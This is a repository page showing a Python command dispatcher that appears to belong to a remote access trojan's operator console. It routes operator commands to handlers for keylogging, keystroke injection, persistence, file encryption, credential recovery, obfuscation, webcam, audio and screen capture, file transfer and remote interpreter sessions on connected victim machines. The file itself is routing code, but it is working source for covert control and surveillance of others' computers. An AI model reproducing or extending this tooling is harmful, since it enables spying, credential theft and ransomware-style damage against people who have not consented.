summaryrefslogtreecommitdiff
path: root/domestic/parse/command_validation.py
blob: 4669fa8aff4d8c8b698200c58722824281847fa2 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from domestic.session.server_handling.persistence import *
from domestic.session.server_handling.interpreter import *
from domestic.session.server_handling.messagebox import *
from domestic.session.server_handling.keylogger import *
from domestic.session.server_handling.keystroke import *
from domestic.session.server_handling.obfuscate import *
from domestic.session.server_handling.download import *
from domestic.session.server_handling.encrypt import *
from domestic.session.server_handling.recover import *
from domestic.session.server_handling.website import *
from domestic.session.server_handling.upload import *
from domestic.session.server_handling.system import *
from domestic.session.server_handling.image import *
from domestic.session.server_handling.cd import *
from domestic.session.session_message import *
from domestic.globally.exit_program import *
from domestic.globally.clear_screen import *
from domestic.session.enter_session import *
from domestic.session.exit_session import *
from domestic.shell.list_clients import *
from domestic.globally.get_help import *
from domestic.globally.sockets import *
from domestic.globally.options import *
from domestic.modules.stream import *
from domestic.modules.audio import *
from domestic.modules.talk import *
from domestic.global_state import *
from domestic.shell.server import *
from domestic.shell.delete import *
from domestic.shell.stdout import *
from domestic.modules.cam import *


def command_validation(message):
  low_message = message['message'].lower()

  if low_message == 'help':
    get_help()
  elif low_message == 'exit':
    exit_program()
  elif low_message == 'clear':
    clear_screen()
  elif low_message == 'sockets':
    sockets()
  elif low_message == 'options':
    options(message)
  elif low_message == 'stream':
    stream(message)
  elif low_message == 'cam':
    cam(message)
  elif low_message == 'audio':
    audio(message)
  elif low_message == 'talk':
    talk(message)
  elif state['session']['active']:
    if low_message == 'break':
      exit_session()
    elif low_message == 'cd':
      cd(message)
    elif low_message == 'image':
      image(message)
    elif low_message == 'upload':
      upload(message)
    elif low_message == 'download':
      download(message)
    elif low_message == 'encrypt':
      encrypt(message)
    elif low_message == 'interpreter':
      interpreter(message)
    elif low_message == 'keylogger':
      keylogger(message)
    elif low_message == 'keystroke':
      keystroke(message)
    elif low_message == 'persistence':
      persistence(message)
    elif low_message == 'system':
      system(message)
    elif low_message == 'recover':
      recover(message)
    elif low_message == 'obfuscate':
      obfuscate(message)
    elif low_message == 'website':
      website(message)
    elif low_message == 'messagebox':
      messagebox(message)
    else:
      session_message(message)
  else:
    if low_message == 'list':
      list_clients()
    elif low_message == 'server':
      server(message)
    elif low_message == 'delete':
      delete(message)
    elif low_message == 'session':
      enter_session(message)
    else:
      stdout(low_message, message)